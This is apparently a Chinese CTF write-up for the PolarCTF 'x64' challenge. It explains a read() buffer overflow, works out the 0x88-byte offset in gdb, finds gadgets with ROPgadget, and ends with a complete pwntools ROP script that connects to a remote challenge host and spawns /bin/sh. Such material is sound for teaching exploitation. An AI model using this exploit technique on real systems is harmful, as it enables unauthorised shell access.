【PolarCTF】x64

先检查下,发现是64位的程序

IDA分析程序

这里很明显read函数存在溢出

然后可以看到后面函数Shell

同时也可以找到/bin/sh字符串

这里我们可以通过IDA查找

攻击思路如下:

复制代码
填充垃圾数据

pop_rdi_ret将/bin/sh传递到rdi中

执行Shell函数

获得shell

gdb调试程序

将cyclic的字符输入到程序中,然后我们可以通过

复制代码
x rbp

或者

复制代码
info registers rbp

可以看到堆底里面的内容

通过计算可以看到距离rbp的距离为128(十进制)

128转为十六进制,可以看到就是0x80,和IDA分析的结果是一样的

因为还要覆盖返回地址,因此填充0x80个字节+0x8个字节

除了上面的方法找Shell函数地址、/bin/sh字符地址

还可以通过objdump查找shell函数地址

通过ROPgadget 查找可以传递给rdi的pop_ret,pop_rdi_ret的地址为0x4007e3

我们也可以使用ROPgadget来查找/bin/sh地址,可以看到/bin/sh的地址为0x601060

bin/sh的地址为0x601060

pop_rdi_ret的地址为0x4007e3

Shell函数的地址0x4006b6

payload如下

python 复制代码
from pwn import *

io = remote('1.95.36.136',2065)

system_addr = 0x4006b6

sh_addr = 0x601060

pop_rdi = 0x4007e3

padding = 0x80+0x8

payload = b'A'*padding
payload += p64(pop_rdi)
payload += p64(sh_addr)
payload += p64(system_addr)

io.sendline(payload)
io.interactive()
相关推荐
小小代码狗3 小时前
Windows 权限提升技术详解
windows·网络安全
YakProject4 小时前
如何让 AI Agent 跑得更快???
人工智能·测试工具·网络安全·agent·yakit·yaklang
网安蟹佬霸1 天前
蓝队防御实战:SIEM与SOAR构建安全运营中心(万字详解+实战配置)
android·安全·web安全·网络安全·网安
网安蟹佬霸1 天前
Zero Trust零信任架构实战:从架构设计到落地部署
安全·网络安全·ci/cd·架构·自动化·网安
拾光Ծ1 天前
【Linux网络】HTTPS如何保证数据安全?从对称加密、非对称加密到 CA 证书认证
计算机网络·网络安全·https·tls·加密算法
佳&弥1 天前
数据库提权
服务器·数据库·安全·web安全·网络安全
大方子1 天前
【PolarCTF】苦海
网络安全·polarctf
whcyhhh1 天前
CTF‑MISC 隐写术完整学习笔记|图片隐写全题型 + 工具 + 实战例题
python·网络安全·ctf·misc·信息隐藏
三垣网安2 天前
记一次渗透测试 | 教育src漏洞分享(2)
网络·安全·web安全·网络安全
汽车网络安全爱好者2 天前
AUTOSAR SecOC 深入解析(一):从 Freshness Value 到 MAC 认证的完整流
物联网·网络安全·汽车·密码学